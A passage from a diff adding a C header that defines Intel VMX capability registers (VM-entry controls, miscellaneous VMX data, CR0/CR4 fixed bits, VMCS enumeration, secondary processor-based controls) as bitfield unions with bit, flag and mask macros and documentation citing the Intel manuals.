IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_BIT 15 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_FLAG 0x8000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] This control determines whether the IA32_BNDCFGS MSR is loaded on VM entry. + */ + uint64_t load_ia32_bndcfgs : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_BIT 16 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_FLAG 0x10000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM entry or + * a VMCS packet on a VM entry that returns from SMM. + * + * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] + */ + uint64_t conceal_vmx_from_pt : 1; +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_BIT 17 +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x20000 +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] This control determines whether the IA32_RTIT_CTL MSR is loaded on VM entry. + */ + uint64_t load_ia32_rtit_ctl : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_BIT 18 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_FLAG 0x40000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL(_) (((_) >> 18) & 0x01) + uint64_t reserved4 : 1; + + /** + * [Bit 20] This control determines whether CET-related MSRs and SPP are loaded on VM entry. + */ + uint64_t load_cet_state : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_BIT 20 +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_FLAG 0x100000 +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE(_) (((_) >> 20) & 0x01) + uint64_t reserved5 : 43; + }; + + uint64_t flags; +} ia32_vmx_entry_ctls_register; + + +/** + * Reporting Register of Miscellaneous VMX Capabilities. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.6(MISCELLANEOUS DATA)] + * @see Vol3D[A.6(Miscellaneous Data)] (reference) + */ +#define IA32_VMX_MISC 0x00000485 +typedef union +{ + struct + { + /** + * @brief Relationship between the preemption timer and tsc; count down every time bit x of the tsc changes + * + * [Bits 4:0] Report a value X that specifies the relationship between the rate of the VMX-preemption timer and that of the + * timestamp counter (TSC). Specifically, the VMX-preemption timer (if it is active) counts down by 1 every time bit X in + * the TSC changes due to a TSC increment. + */ + uint64_t preemption_timer_tsc_relationship : 5; +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_BIT 0 +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_FLAG 0x1F +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_MASK 0x1F +#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP(_) (((_) >> 0) & 0x1F) + + /** + * @brief Whether VM-exit stores EFER.LMA into the "IA32e mode guest" field + * + * [Bit 5] When set to 1, VM exits store the value of IA32_EFER.LMA into the "IA-32e mode guest" VM-entry control. This bit + * is read as 1 on any logical processor that supports the 1-setting of the "unrestricted guest" VM-execution control. + * + * @see Vol3C[27.2(RECORDING VM-EXIT INFORMATION AND UPDATING VM-ENTRY CONTROL FIELDS)] + */ + uint64_t store_efer_lma_on_vmexit : 1; +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_BIT 5 +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_FLAG 0x20 +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_MASK 0x01 +#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT(_) (((_) >> 5) & 0x01) + + /** + * @brief Activity states supported by the implementation + * + * [Bits 8:6] Report, as a bitmap, the activity states supported by the implementation: + * - Bit 6 reports (if set) the support for activity state 1 (HLT). + * - Bit 7 reports (if set) the support for activity state 2 (shutdown). + * - Bit 8 reports (if set) the support for activity state 3 (wait-for-SIPI). + * If an activity state is not supported, the implementation causes a VM entry to fail if it attempts to establish that + * activity state. All implementations support VM entry to activity state 0 (active). + */ + uint64_t activity_states : 3; +#define IA32_VMX_MISC_ACTIVITY_STATES_BIT 6 +#define IA32_VMX_MISC_ACTIVITY_STATES_FLAG 0x1C0 +#define IA32_VMX_MISC_ACTIVITY_STATES_MASK 0x07 +#define IA32_VMX_MISC_ACTIVITY_STATES(_) (((_) >> 6) & 0x07) + uint64_t reserved1 : 5; + + /** + * @brief Intel Processor Trace (Intel PT) can be used in VMX operation + * + * [Bit 14] When set to 1, Intel(R) Processor Trace (Intel PT) can be used in VMX operation. If the processor supports Intel + * PT but does not allow it to be used in VMX operation, execution of VMXON clears IA32_RTIT_CTL.TraceEn; any attempt to + * write IA32_RTIT_CTL while in VMX operation (including VMX root operation) causes a general-protection exception. + * + * @see Vol3C[30.3(VMX INSTRUCTIONS | VMXON-Enter VMX Operation)] + */ + uint64_t intel_pt_available_in_vmx : 1; +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_BIT 14 +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_FLAG 0x4000 +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_MASK 0x01 +#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX(_) (((_) >> 14) & 0x01) + + /** + * @brief Whether RDMSR can be used to read IA32_SMBASE_MSR in SMM + * + * [Bit 15] When set to 1, the RDMSR instruction can be used in system-management mode (SMM) to read the IA32_SMBASE MSR + * (MSR address 9EH). + * + * @see Vol3C[34.15.6.3(Saving Guest State)] + */ + uint64_t rdmsr_can_read_ia32_smbase_msr_in_smm : 1; +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_BIT 15 +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_FLAG 0x8000 +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_MASK 0x01 +#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM(_) (((_) >> 15) & 0x01) + + /** + * @brief Number of CR3 target values supported by the processor (0-256) + * + * [Bits 24:16] Indicate the number of CR3-target values supported by the processor. This number is a value between 0 and + * 256, inclusive (bit 24 is set if and only if bits 23:16 are clear). + */ + uint64_t cr3_target_count : 9; +#define IA32_VMX_MISC_CR3_TARGET_COUNT_BIT 16 +#define IA32_VMX_MISC_CR3_TARGET_COUNT_FLAG 0x1FF0000 +#define IA32_VMX_MISC_CR3_TARGET_COUNT_MASK 0x1FF +#define IA32_VMX_MISC_CR3_TARGET_COUNT(_) (((_) >> 16) & 0x1FF) + + /** + * @brief Maximum number of MSRs in the VMCS. (N+1)*512 + * + * [Bits 27:25] Used to compute the recommended maximum number of MSRs that should appear in the VM-exit MSR-store list, + * the VM-exit MSR-load list, or the VM-entry MSR-load list. Specifically, if the value bits 27:25 of IA32_VMX_MISC is N, + * then 512 * (N + 1) is the recommended maximum number of MSRs to be included in each list. If the limit is exceeded, + * undefined processor behavior may result (including a machine check during the VMX transition). + */ + uint64_t max_number_of_msr : 3; +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_BIT 25 +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_FLAG 0xE000000 +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_MASK 0x07 +#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR(_) (((_) >> 25) & 0x07) + + /** + * @brief Whether bit 2 of IA32_SMM_MONITOR_CTL can be set to 1 + * + * [Bit 28] When set to 1, bit 2 of the IA32_SMM_MONITOR_CTL can be set to 1. VMXOFF unblocks SMIs unless + * IA32_SMM_MONITOR_CTL[bit 2] is 1. + * + * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] + */ + uint64_t smm_monitor_ctl_b2 : 1; +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_BIT 28 +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_FLAG 0x10000000 +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_MASK 0x01 +#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2(_) (((_) >> 28) & 0x01) + + /** + * @brief Whether VMWRITE can be used to write VM-exit information fields + * + * [Bit 29] When set to 1, software can use VMWRITE to write to any supported field in the VMCS; otherwise, VMWRITE cannot + * be used to modify VM-exit information fields. + */ + uint64_t vmwrite_vmexit_info : 1; +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_BIT 29 +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_FLAG 0x20000000 +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_MASK 0x01 +#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO(_) (((_) >> 29) & 0x01) + + /** + * [Bit 30] When set to 1, VM entry allows injection of a software interrupt, software exception, or privileged software + * exception with an instruction length of 0. + */ + uint64_t zero_length_instruction_vmentry_injection : 1; +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_BIT 30 +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_FLAG 0x40000000 +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_MASK 0x01 +#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION(_) (((_) >> 30) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief MSEG revision identifier used by the processor + * + * [Bits 63:32] Report the 32-bit MSEG revision identifier used by the processor. + */ + uint64_t mseg_id : 32; +#define IA32_VMX_MISC_MSEG_ID_BIT 32 +#define IA32_VMX_MISC_MSEG_ID_FLAG 0xFFFFFFFF00000000 +#define IA32_VMX_MISC_MSEG_ID_MASK 0xFFFFFFFF +#define IA32_VMX_MISC_MSEG_ID(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_vmx_misc_register; + + +/** + * Capability Reporting Register of CR0 Bits Fixed to 0. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] + * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) + */ +#define IA32_VMX_CR0_FIXED0 0x00000486 + + /** + * Capability Reporting Register of CR0 Bits Fixed to 1. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] + * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) + */ +#define IA32_VMX_CR0_FIXED1 0x00000487 + + /** + * Capability Reporting Register of CR4 Bits Fixed to 0. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] + * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) + */ +#define IA32_VMX_CR4_FIXED0 0x00000488 + + /** + * Capability Reporting Register of CR4 Bits Fixed to 1. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] + * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) + */ +#define IA32_VMX_CR4_FIXED1 0x00000489 + + /** + * Capability Reporting Register of VMCS Field Enumeration. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.9(VMCS ENUMERATION)] + * @see Vol3D[A.9(VMCS Enumeration)] (reference) + */ +#define IA32_VMX_VMCS_ENUM 0x0000048A +typedef union +{ + struct + { + /** + * [Bit 0] Indicates access type. + */ + uint64_t access_type : 1; +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_BIT 0 +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_FLAG 0x01 +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_MASK 0x01 +#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE(_) (((_) >> 0) & 0x01) + + /** + * [Bits 9:1] Highest index value used for any VMCS encoding. + */ + uint64_t highest_index_value : 9; +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_BIT 1 +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_FLAG 0x3FE +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_MASK 0x1FF +#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE(_) (((_) >> 1) & 0x1FF) + + /** + * [Bits 11:10] Indicate the field's type. + */ + uint64_t field_type : 2; +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_BIT 10 +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_FLAG 0xC00 +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_MASK 0x03 +#define IA32_VMX_VMCS_ENUM_FIELD_TYPE(_) (((_) >> 10) & 0x03) + uint64_t reserved1 : 1; + + /** + * [Bits 14:13] Indicate the field's width. + */ + uint64_t field_width : 2; +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_BIT 13 +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_FLAG 0x6000 +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_MASK 0x03 +#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH(_) (((_) >> 13) & 0x03) + uint64_t reserved2 : 49; + }; + + uint64_t flags; +} ia32_vmx_vmcs_enum_register; + + +/** + * Capability Reporting Register of Secondary Processor-Based VM-Execution Controls. + * + * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] ) + * @see Vol3D[A.3.3(Secondary Processor-Based VM-Execution Controls)] + * @see Vol3D[24.6.2(Processor-Based VM-Execution Controls)] (reference) + */ +#define IA32_VMX_PROCBASED_CTLS2 0x0000048B +typedef union +{ + struct + { + /** + * @brief Virtualize APIC access + * + * [Bit 0] If this control is 1, the logical processor treats specially accesses to the page with the APICaccess address. + * + * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] + */ + uint64_t virtualize_apic_accesses : 1; +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_BIT 0 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_FLAG 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES(_) (((_) >> 0) & 0x01) + + /** + * @brief EPT supported/enabled + * + * [Bit 1] If this control is 1, extended page tables (EPT) are enabled. + * + * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] + */ + uint64_t enable_ept : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_BIT 1 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_FLAG 0x02 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT(_) (((_) >> 1) & 0x01) + + /** + * @brief Descriptor table instructions cause VM-exits + * + * [Bit 2] This control determines whether executions of LGDT, LIDT, LLDT, LTR, SGDT, SIDT, SLDT, and STR cause VM exits. + */ + uint64_t descriptor_table_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_BIT 2 +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_FLAG 0x04 +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING(_) (((_) >> 2) & 0x01) + + /** + * @brief RDTSCP supported/enabled + * + * [Bit 3] If this control is 0, any execution of RDTSCP causes an invalid-opcode exception (\#UD). + */ + uint64_t enable_rdtscp : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_BIT 3 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_FLAG 0x08 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP(_) (((_) >> 3) & 0x01) + + /** + * @brief Virtualize x2APIC mode + * + * [Bit 4] If this control is 1, the logical processor treats specially RDMSR and WRMSR to APIC MSRs (in the range + * 800H-8FFH). + * + * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] + */ + uint64_t virtualize_x2apic_mode : 1; +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_BIT 4 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_FLAG 0x10 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE(_) (((_) >> 4) & 0x01) + + /** + * @brief VPID supported/enabled + * + * [Bit 5] If this control is 1, cached translations of linear addresses are associated with a virtualprocessor identifier + * (VPID). + * + * @see Vol3C[28.1(VIRTUAL PROCESSOR IDENTIFIERS (VPIDS))] + */ + uint64_t enable_vpid : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_BIT 5 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_FLAG 0x20 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID(_) (((_) >> 5) & 0x01) + + /** + * @brief VM-exit when executing the WBINVD instruction + * + * [Bit 6] This control determines whether executions of WBINVD cause VM exits. + */ + uint64_t wbinvd_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_BIT 6 +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_FLAG 0x40 +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING(_) (((_) >> 6) & 0x01) + + /** + * @brief Unrestricted guest execution + * + * [Bit 7] This control determines whether guest software may run in unpaged protected mode or in realaddress mode. + */ + uint64_t unrestricted_guest : 1; +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_BIT 7 +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_FLAG 0x80 +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST(_) (((_) >> 7) & 0x01) + + /** + * @brief APIC register virtualization + * + * [Bit 8] If this control is 1, the logical processor virtualizes certain APIC accesses. + * + * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] + * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] + */ + uint64_t apic_register_virtualization : 1; +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_BIT 8 +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_FLAG 0x100 +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION(_) (((_) >> 8) & 0x01) + + /** + * @brief Virtual-interrupt delivery + * + * [Bit 9] This controls enables the evaluation and delivery of pending virtual interrupts as well as the emulation of + * writes to the APIC registers that control interrupt prioritization. + */ + uint64_t virtual_interrupt_delivery : 1; +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_BIT 9 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_FLAG 0x200 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VIRTUAL_INTERRUPT_DELIVERY(_) (((_) >> 9) & 0x01) + + /** + * @brief A specified number of pause loops cause a VM-exit + * + * [Bit 10] This control determines whether a series of executions of PAUSE can cause a VM exit. + * + * @see Vol3C[24.6.13(Controls for PAUSE-Loop Exiting)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t pause_loop_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_BIT 10 +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_FLAG 0x400 +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_PAUSE_LOOP_EXITING(_) (((_) >> 10) & 0x01) + + /** + * @brief VM-exit when executing RDRAND instructions + * + * [Bit 11] This control determines whether executions of RDRAND cause VM exits. + */ + uint64_t rdrand_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_BIT 11 +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_FLAG 0x800 +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_RDRAND_EXITING(_) (((_) >> 11) & 0x01) + + /** + * @brief Enables INVPCID instructions + * + * [Bit 12] If this control is 0, any execution of INVPCID causes a \#UD. + */ + uint64_t enable_invpcid : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_BIT 12 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_FLAG 0x1000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_INVPCID(_) (((_) >> 12) & 0x01) + + /** + * @brief Enables VMFUNC instructions + * + * [Bit 13] Setting this control to 1 enables use of the VMFUNC instruction in VMX non-root operation. + * + * @see Vol3C[25.5.5(VM Functions)] + */ + uint64_t enable_vm_functions : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_BIT 13 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_FLAG 0x2000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VM_FUNCTIONS(_) (((_) >> 13) & 0x01) + + /** + * @brief Enables VMCS shadowing + * + * [Bit 14] If this control is 1, executions of VMREAD and VMWRITE in VMX non-root operation may access a shadow VMCS + * (instead of causing VM exits). + * + * @see {'Vol3C[24.10(VMCS TYPES': 'ORDINARY AND SHADOW)]'} + * @see Vol3C[30.3(VMX INSTRUCTIONS)] + */ + uint64_t vmcs_shadowing : 1; +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_BIT 14 +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_FLAG 0x4000 +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_VMCS_SHADOWING(_) (((_) >> 14) & 0x01) + + /** + * @brief Enables ENCLS VM-exits + * + * [Bit 15] If this control is 1, executions of ENCLS consult the ENCLS-exiting bitmap to determine whether the instruction + * causes a VM exit. + * + * @see Vol3C[24.6.16(ENCLS-Exiting Bitmap)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t enable_encls_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_BIT 15 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_FLAG 0x8000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_ENCLS_EXITING(_) (((_) >> 15) & 0x01) + + /** + * @brief VM-exit when executing RDSEED + * + * [Bit 16] This control determines whether executions of RDSEED cause VM exits. + */ + uint64_t rdseed_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_BIT 16 +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_FLAG 0x10000 +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_RDSEED_EXITING(_) (((_) >> 16) & 0x01) + + /** + * @brief Enables page-modification logging + * + * [Bit 17] If this control is 1, an access to a guest-physical address that sets an EPT dirty bit first adds an entry to + * the page-modification log. + * + * @see Vol3C[28.2.5(Page-Modification Logging)] + */ + uint64_t enable_pml : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_BIT 17 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_FLAG 0x20000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_PML(_) (((_) >> 17) & 0x01) + + /** + * @brief Controls whether EPT-violations may cause + * + * [Bit 18] If this control is 1, EPT violations may cause virtualization exceptions (\#VE) instead of VM exits. + * + * @see Vol3C[25.5.6(Virtualization Exceptions)] + */ + uint64_t ept_violation : 1; +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_BIT 18 +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_FLAG 0x40000 +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_EPT_VIOLATION(_) (((_) >> 18) & 0x01) + + /** + * @brief Conceal VMX non-root operation from Intel processor trace (PT) + * + * [Bit 19] If this control is 1, Intel Processor Trace suppresses from PIPs an indication that the processor was in VMX + * non-root operation and omits a VMCS packet from any PSB+ produced in VMX nonroot operation. + * + * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] + */ + uint64_t conceal_vmx_from_pt : 1; +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_BIT 19 +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_FLAG 0x80000 +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_CONCEAL_VMX_FROM_PT(_) (((_) >> 19) & 0x01) + + /** + * @brief Enables XSAVES/XRSTORS instructions + * + * [Bit 20] If this control is 0, any execution of XSAVES or XRSTORS causes a \#UD. + */ + uint64_t enable_xsaves : 1; +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_BIT 20 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_FLAG 0x100000 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_ENABLE_XSAVES(_) (((_) >> 20) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 22] If this control is 1, EPT execute permissions are based on whether the linear address being accessed is + * supervisor mode or user mode. + * + * @see Vol3C[28(VMX SUPPORT FOR ADDRESS TRANSLATION)] + */ + uint64_t mode_based_execute_control_for_ept : 1; +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_BIT 22 +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_FLAG 0x400000 +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_MODE_BASED_EXECUTE_CONTROL_FOR_EPT(_) (((_) >> 22) & 0x01) + uint64_t reserved2 : 2; + + /** + * @brief Use TSC scaling + * + * [Bit 25] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read + * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC multiplier field. + * + * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + */ + uint64_t use_tsc_scaling : 1; +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_BIT 25 +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_FLAG 0x2000000 +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS2_USE_TSC_SCALING(_) (((_) >> 25) & 0x01) + uint64_t reserved3 : 38; + }; + + uint64_t flags; +} ia32_vmx_procbased_ctls2_register; + + +/** + * Capability Reporting Register of EPT and VPID. + * + * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] && 